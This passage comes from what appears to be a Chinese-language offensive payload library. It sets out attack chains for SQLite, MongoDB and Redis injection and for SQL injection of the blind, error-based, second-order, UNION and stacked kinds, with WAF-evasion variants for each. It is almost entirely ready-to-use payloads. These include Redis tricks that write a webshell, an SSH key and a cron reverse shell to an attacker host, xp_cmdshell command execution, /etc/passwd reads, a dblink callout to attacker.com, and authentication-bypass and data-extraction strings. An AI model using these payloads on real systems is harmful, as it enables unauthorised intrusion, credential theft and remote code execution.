SQLite字符编码绕过** _使用CHAR()函数构造字符串、X前缀十六进制字面量、typeof()和unicode()进行类型推断盲注绕过WAF_ ``` ' UNION SELECT CHAR(116,101,115,116),NULL-- ' UNION SELECT X'746573746461746131',NULL-- ' AND typeof(CASE WHEN unicode(substr((SELECT name FROM sqlite_master LIMIT 1),1,1))>96 THEN 1 ELSE 0.0 END)='integer'-- ``` **2. SQLite运算符与函数替代** _使用LIKE/GLOB模式匹配替代等号、instr()替代SUBSTRING、group_concat配合replace混淆数据_ ``` ' AND (SELECT name FROM sqlite_master WHERE type='table' AND name LIKE '%user%')-- ' AND (SELECT name FROM sqlite_master WHERE type='table' AND name GLOB '*user*')-- ' UNION SELECT replace(group_concat(name,','),'_',''),NULL FROM sqlite_master WHERE type='table'-- ' AND instr((SELECT sql FROM sqlite_master LIMIT 1),'password')>0-- ``` --- ### MongoDB注入 `sqli-mongodb-basic` NoSQL数据库注入攻击技术 子类:**MongoDB** · tags: `nosql` `mongodb` `injection` **前置条件:** 目标使用MongoDB;存在用户输入拼接查询 **攻击链:** **1. 1. 探测注入点** _探测MongoDB注入_ ``` {"username": "admin", "password": "password"} {"username": "admin", "password": {"$ne": ""}} {"username": "admin", "password": {"$gt": ""}} ``` **2. 2. 绕过认证** _绕过登录认证_ ``` {"username": "admin", "password": {"$ne": "wrongpass"}} {"username": {"$ne": ""}, "password": {"$ne": ""}} ``` **3. 3. 逻辑运算注入** _使用$or逻辑运算_ ``` {"username": "admin", "password": {"$or": [{"password": "realpass"}, {"1": "1"}]}} ``` **4. 4. 正则注入** _正则表达式注入_ ``` {"username": {"$regex": "^admin"}, "password": {"$ne": ""}} ``` **5. 5. $where注入** _$where子句JavaScript注入_ ``` {"$where": "this.username == 'admin' && this.password.match(/.*/)"} ``` **6. 6. 盲注提取数据** _使用正则逐字符提取_ ``` {"username": {"$regex": "^a"}} {"username": {"$regex": "^ad"}} {"username": {"$regex": "^adm"}} 逐字符枚举用户名 ``` **WAF/EDR 绕过变体:** **1. Unicode绕过** _Unicode编码绕过_ ``` {"username": {"\u0024ne": ""}} 使用Unicode编码$符号 ``` --- ### Redis未授权访问 `sqli-redis` Redis未授权访问和命令注入 子类:**Redis** · tags: `redis` `nosql` `injection` **前置条件:** Redis服务可访问;未授权或弱密码 **攻击链:** **1. 1. 探测Redis** _探测Redis服务_ ``` redis-cli -h target.com ping redis-cli -h target.com info ``` **2. 2. 未授权访问** _未授权访问Redis_ ``` redis-cli -h target.com > INFO > KEYS * > GET sensitive_key ``` **3. 3. 写入Webshell** _[linux]_ _写入Webshell_ ``` redis-cli -h target.com > CONFIG SET dir /var/www/html/ > CONFIG SET dbfilename shell.php > SET shell "" > SAVE ``` **4. 4. 写入SSH公钥** _[linux]_ _写入SSH公钥_ ``` redis-cli -h target.com > CONFIG SET dir /root/.ssh/ > CONFIG SET dbfilename authorized_keys > SET sshkey "ssh-rsa AAAA..." > SAVE ``` **5. 5. 写入Cron任务** _[linux]_ _写入Cron任务_ ``` redis-cli -h target.com > CONFIG SET dir /var/spool/cron/ > CONFIG SET dbfilename root > SET cron "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/attacker/4444 0>&1\n\n" > SAVE ``` **6. 6. 主从复制RCE** _[linux]_ _主从复制RCE_ ``` 使用redis-rogue-server工具: python redis-rogue-server.py --rhost target.com --lhost attacker.com 通过主从复制加载恶意模块执行命令 ``` **WAF/EDR 绕过变体:** **1. Redis命令混淆绕过** _使用引号分割命令字符串、拼接变量等方式混淆Redis命令绕过WAF检测_ ``` redis-cli -h target.com > "C""O""N""F""I""G" SET dir /var/www/html/ > $(printf 'CONF')$(printf 'IG') SET dbfilename shell.php > SET shell "" > SAVE ``` **2. Redis Lua脚本执行绕过** _通过EVAL执行Lua脚本间接调用Redis命令,绕过对CONFIG/SET等直接命令的检测_ ``` redis-cli -h target.com > EVAL "redis.call('set','shell','')" 0 > EVAL "redis.call('config','set','dir','/var/www/html/')" 0 > EVAL "redis.call('config','set','dbfilename','test.php')" 0 > EVAL "redis.call('save')" 0 ``` --- ### 布尔盲注 `sqli-blind` 基于布尔条件的SQL盲注技术 子类:**盲注** · tags: `sqli` `blind` `boolean` **前置条件:** 存在SQL注入;页面有真/假两种不同响应 **攻击链:** **1. 1. 确认盲注** _确认布尔盲注_ ``` ' AND 1=1-- (返回正常) ' AND 1=2-- (返回异常) 确认存在布尔盲注 ``` **2. 2. 获取数据库名长度** _枚举数据库名长度_ ``` ' AND LENGTH(database())=1-- ' AND LENGTH(database())=2-- ... ' AND LENGTH(database())=N-- 直到返回正常 ``` **3. 3. 逐字符枚举数据库名** _逐字符提取数据库名_ ``` ' AND ASCII(SUBSTRING(database(),1,1))>97-- ' AND ASCII(SUBSTRING(database(),1,1))>100-- ... 使用二分法快速定位字符 ``` **4. 4. 使用工具自动化** _使用sqlmap自动化_ ``` sqlmap -u "http://target.com?id=1" --technique=B --dbs 使用sqlmap进行布尔盲注 ``` **WAF/EDR 绕过变体:** **1. 布尔盲注条件表达式替代** _使用CASE WHEN替代IF()、MID()替代SUBSTRING()、LEFT/RIGHT组合截取、BETWEEN替代大于小于比较_ ``` ' AND (CASE WHEN (MID(database(),1,1)='a') THEN 1 ELSE 0 END)=1-- ' AND LEFT(database(),1)>'a'-- ' AND RIGHT(LEFT(database(),2),1)='d'-- ' AND ORD(MID(database(),1,1))BETWEEN 97 AND 122-- ``` **2. 布尔盲注数学运算与位运算绕过** _使用HEX/CONV进行编码比较、位与运算(&)判断字符范围、POW()数学函数混淆、DIV替代AND_ ``` ' AND (SELECT CONV(HEX(SUBSTR(database(),1,1)),16,10))>96-- ' AND (SELECT ORD(MID(database(),1,1))&0x40)=0x40-- ' AND (SELECT POW(ORD(MID(database(),1,1)),0))+0=1-- ' DIV 1 AND (SELECT LENGTH(database()))>0-- ``` --- ### 时间盲注 `sqli-time-based` 基于时间延迟的SQL盲注技术 子类:**盲注** · tags: `sqli` `blind` `time` **前置条件:** 存在SQL注入;页面响应时间可控 **攻击链:** **1. 1. 确认时间盲注** _确认时间盲注_ ``` ' AND SLEEP(5)-- ' AND IF(1=1,SLEEP(5),0)-- 观察响应是否延迟5秒 ``` **2. 2. 获取数据库名长度** _枚举数据库名长度_ ``` ' AND IF(LENGTH(database())=N,SLEEP(5),0)-- 枚举数据库名长度 ``` **3. 3. 逐字符提取** _逐字符提取数据_ ``` ' AND IF(ASCII(SUBSTRING(database(),1,1))>97,SLEEP(5),0)-- 使用二分法提取字符 ``` **4. 4. 不同数据库延时函数** _各数据库延时函数_ ``` MySQL: SLEEP(5), BENCHMARK() MSSQL: WAITFOR DELAY '0:0:5' PostgreSQL: pg_sleep(5) Oracle: DBMS_LOCK.SLEEP(5) ``` **WAF/EDR 绕过变体:** **1. 时间延迟替代函数绕过** _使用BENCHMARK()替代SLEEP()、笛卡尔积重查询消耗时间、GET_LOCK()锁等待、CASE条件触发延时_ ``` ' AND BENCHMARK(5000000,SHA1('test'))-- ' AND (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)-- ' AND GET_LOCK('sqli_test',5)-- ' AND (CASE WHEN database() LIKE '%' THEN BENCHMARK(3000000,MD5('x')) ELSE 0 END)-- ``` **2. 跨数据库时间延迟绕过** _利用各数据库特有的时间延迟方法:PostgreSQL的pg_sleep条件触发、MSSQL的IF条件WAITFOR、Oracle的DBMS_PIPE.RECEIVE_MESSAGE替代DBMS_LOCK_ ``` PostgreSQL: ' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)-- MSSQL: '; IF (1=1) WAITFOR DELAY '0:0:5'-- Oracle: ' AND 1=CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('x',5) ELSE 0 END-- MySQL: ' AND (SELECT SLEEP(5) FROM DUAL WHERE 1=1)-- ``` --- ### 报错注入 `sqli-error-based` 利用错误信息提取数据的SQL注入 子类:**报错注入** · tags: `sqli` `error` `extractvalue` **前置条件:** 存在SQL注入;错误信息会显示在页面上 **攻击链:** **1. 1. 确认报错注入** _测试报错注入_ ``` ' AND extractvalue(1,concat(0x7e,version()))-- ' AND updatexml(1,concat(0x7e,version()),1)-- ``` **2. 2. 获取数据库信息** _获取基础信息_ ``` ' AND extractvalue(1,concat(0x7e,database()))-- ' AND extractvalue(1,concat(0x7e,user()))-- ' AND extractvalue(1,concat(0x7e,version()))-- ``` **3. 3. 获取表名** _获取表名_ ``` ' AND extractvalue(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database())))-- ``` **4. 4. 获取数据** _提取数据_ ``` ' AND extractvalue(1,concat(0x7e,(SELECT password FROM users LIMIT 0,1)))-- ``` **5. 5. 其他报错函数** _其他报错注入方法_ ``` ' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- ' AND EXP(~(SELECT * FROM (SELECT version())a))-- ``` **WAF/EDR 绕过变体:** **1. 替代报错函数绕过** _使用GEOMETRYCOLLECTION空间函数、JSON_KEYS、ST_LatFromGeoHash等冷门函数替代extractvalue/updatexml触发报错_ ``` ' AND GEOMETRYCOLLECTION((SELECT * FROM (SELECT * FROM (SELECT version())a)b))-- ' AND (SELECT 1 FROM (SELECT NTILE(1) OVER(ORDER BY (SELECT version())))a)-- ' AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT(0x7e,version())) USING utf8)))-- ' AND ST_LatFromGeoHash(version())-- ``` **2. 编码与科学计数法绕过** _使用unhex(hex())双层编码、EXP()科学计数法溢出、URL双重编码(%26%26替代AND)绕过WAF检测_ ``` ' AND extractvalue(1,concat(0x7e,(SELECT unhex(hex(database())))))-- ' AND 1=1 AND EXP(~(SELECT * FROM (SELECT CONCAT(0x7e,database(),0x7e) x)a))-- ' AND (SELECT 1 FROM (SELECT count(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.schemata GROUP BY x)a)-- ' %26%26 updatexml(1,concat(0x7e,(select%20database())),1)--%20 ``` --- ### 二阶SQL注入 `sqli-second-order` 存储后触发的SQL注入攻击 子类:**二阶注入** · tags: `sqli` `second-order` `stored` **前置条件:** 存在数据存储功能;存储数据被二次使用 **攻击链:** **1. 1. 探测二阶注入** _探测二阶注入点_ ``` 注册用户名: admin'-- 或: admin' OR '1'='1 登录后查看是否影响其他功能 ``` **2. 2. 用户名注入** _用户名触发注入_ ``` 注册用户: admin' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT password FROM users LIMIT 1),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- - 登录触发报错注入 ``` **3. 3. 密码重置注入** _密码重置功能注入_ ``` 输入邮箱: ' OR '1'='1 可能触发密码重置所有用户 ``` **4. 4. 订单/评论注入** _评论触发注入_ ``` 提交评论: ' UNION SELECT username,password FROM users-- 管理员查看评论时触发 ``` **WAF/EDR 绕过变体:** **1. 编码存储触发绕过** _在存储阶段使用注释截断(/**/)或CHAR()编码构造payload,WAF在输入时检测不到恶意SQL,但数据库二次使用时自动触发_ ``` 注册用户名: admin'/* 随后修改密码时SQL变为: UPDATE users SET password='new' WHERE username='admin'/*' 注册用户名: CONCAT(CHAR(39),CHAR(32),CHAR(79),CHAR(82),CHAR(32),CHAR(39),CHAR(49),CHAR(39),CHAR(61),CHAR(39),CHAR(49)) 存储后二次使用时自动解码触发注入 ``` **2. Unicode标准化绕过** _利用Unicode全角字符(U+FF07)标准化、转义序列还原、不同功能模块的过滤差异来绕过WAF检测_ ``` 注册用户名: admin' OR '1'='1 (使用全角引号U+FF07,数据库标准化为半角后触发) 注册邮箱: test@test.com' UNION SELECT password FROM users WHERE '1'='1 (邮箱验证通过WAF但存储后在其他查询中拼接触发) 评论内容: \x27 OR 1=1-- (转义序列在存储层被还原为单引号) ``` --- ### 联合查询注入 `sqli-union` 使用UNION SELECT提取数据 子类:**联合查询** · tags: `sqli` `union` `select` **前置条件:** 存在注入点;可显示查询结果 **攻击链:** **1. 1. 确定列数** _确定列数_ ``` ' ORDER BY 1-- ' ORDER BY 2-- ' ORDER BY 3-- 直到报错 或: ' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ' UNION SELECT NULL,NULL,NULL-- ``` **2. 2. 确定显示列** _确定显示位置_ ``` ' UNION SELECT 1,2,3-- ' UNION SELECT 'a','b','c'-- 找出哪些列会显示在页面上 ``` **3. 3. 提取数据** _提取数据_ ``` ' UNION SELECT username,password,3 FROM users-- ' UNION SELECT table_name,2,3 FROM information_schema.tables-- ``` **4. 4. 绕过过滤** _绕过关键字过滤_ ``` ' /*!UNION*/ /*!SELECT*/ 1,2,3-- ' UnIoN SeLeCt 1,2,3-- ' UNION/**/SELECT/**/1,2,3-- ``` **WAF/EDR 绕过变体:** **1. UNION注入关键字绕过** _使用MySQL版本注释/*!50000*/、URL编码UNION/SELECT关键字、%23换行绕过、空白字符混淆(%09 TAB, %0d CR, %0b VT)_ ``` ' /*!50000UNION*/ /*!50000SELECT*/ 1,database(),3-- ' %55%4e%49%4f%4e %53%45%4c%45%43%54 1,2,3-- ' uNiOn%23%0aSeLeCt 1,2,3-- ' UNION%0a%09%0d%0bSELECT%0a1,2,3-- ``` **2. UNION注入NULL字节与分块绕过** _使用NULL字节(%00)截断WAF检测、UNION ALL绕过去重检测、HTTP分块传输编码将关键字分散到不同chunk、自定义SEPARATOR替代默认逗号_ ``` ' UNION%00SELECT 1,2,3-- ' /*!UNION*/%20/*!ALL*//*!SELECT*/ 1,2,3-- Transfer-Encoding: chunked 5 UNION 7 SELECT 1 0 ' UNION SELECT 1,group_concat(table_name SEPARATOR 0x3c62723e),3 FROM information_schema.tables WHERE table_schema=database()-- ``` --- ### 堆叠查询注入 `sqli-stacked` 执行多条SQL语句的注入 子类:**堆叠查询** · tags: `sqli` `stacked` `queries` **前置条件:** 支持多语句执行;MySQL/PostgreSQL/MSSQL **攻击链:** **1. 1. 探测堆叠查询** _探测是否支持堆叠查询_ ``` '; SELECT SLEEP(5)-- '; SELECT 1-- '; WAITFOR DELAY '0:0:5'-- ``` **2. 2. MySQL堆叠查询** _[linux]_ _MySQL执行多语句_ ``` '; INSERT INTO users(username,password) VALUES('hacker','hacked');-- '; UPDATE users SET password='hacked' WHERE username='admin';-- '; SELECT SLEEP(5);-- > ⚠️ 仅验证堆叠注入存在性,严禁 DROP/TRUNCATE/DELETE ``` **3. 3. MSSQL堆叠查询** _[windows]_ _MSSQL执行命令_ ``` '; EXEC xp_cmdshell('whoami');-- '; EXEC sp_executesql N'SELECT * FROM users';-- ``` **4. 4. PostgreSQL堆叠查询** _[linux]_ _PostgreSQL读取文件_ ``` '; COPY users FROM '/etc/passwd';-- '; SELECT * FROM pg_read_file('/etc/passwd');-- ``` **WAF/EDR 绕过变体:** **1. 堆叠查询终止符替代绕过** _使用URL编码分号(%3B)、换行符分隔、内联注释包裹SELECT、PREPARE预处理执行十六进制编码的查询语句_ ``` ' %3B SELECT user()-- ' ;%0a SELECT user()-- ' ; /*!SELECT*/ user()-- '; SET @q=0x53454C45435420757365722829; PREPARE stmt FROM @q; EXECUTE stmt;-- ``` **2. 堆叠查询条件执行绕过** _使用字符串拼接分割命令关键字、CHAR()编码命令参数、CASE条件执行、PostgreSQL DO块执行复杂逻辑_ ``` '; IF(1=1) EXEC('wh'+'oam'+'i');-- '; DECLARE @s VARCHAR(100)=CHAR(119)+CHAR(104)+CHAR(111)+CHAR(97)+CHAR(109)+CHAR(105); EXEC xp_cmdshell @s;-- '; SELECT CASE WHEN (1=1) THEN pg_sleep(5) END;-- '; DO $$ BEGIN PERFORM dblink_connect('host=attacker.com dbname=test'); END $$;-- ``` --- ### SQL注入WAF绕过 `sqli-waf-bypass` 绕过Web应用防火墙的技术 子类:**WAF绕过** · tags: `sqli` `waf` `bypass` **前置条件:** 目标存在SQL注入点;存在WAF防护 **攻击链:** **1. 分块传输编码** _利用分块传输绕过WAF检测_ ``` Transfer-Encoding: chunked 2 id 1 = 1 1 0 ``` **2. HTTP参数污染(HPP)** _利用HPP拆分恶意Payload_ ``` ?id=1&id=UNION&id=SELECT&id=1,2,3-- ``` **3. 等价函数替换** _使用GREATEST替代>符号_ ``` ' AND GREATEST(1,0)-- ``` **4. 无逗号注入** _不使用逗号进行联合查询_ ``` ' UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c-- ``` **5. IBM/Oracle特有** _利用特定数据库特性绕过通用规则_ ``` ' UNION SELECT CAST(1 AS VARCHAR(10)) FROM dual-- ``` **6. 垃圾数据填充** _超长数据溢出WAF缓冲区 (示意代码)_ ``` /* !50000AAAAAAAAAA...(1000+字节垃圾数据)...*/ UNION SELECT 1,2,3-- ``` **7. Content-Type欺骗** _利用multipart绕过检测_ ``` Content-Type: multipart/form-data; boundary=----WebKitFormBoundary ------WebKitFormBoundary Content-Disposition: form-data; name="id" 1 UNION SELECT 1,2,3-- ------WebKitFormBoundary-- ``` **8. JSON注入** _在JSON数据中注入_ ``` {"id": "1' UNION SELECT 1,2,3--"} ``` ---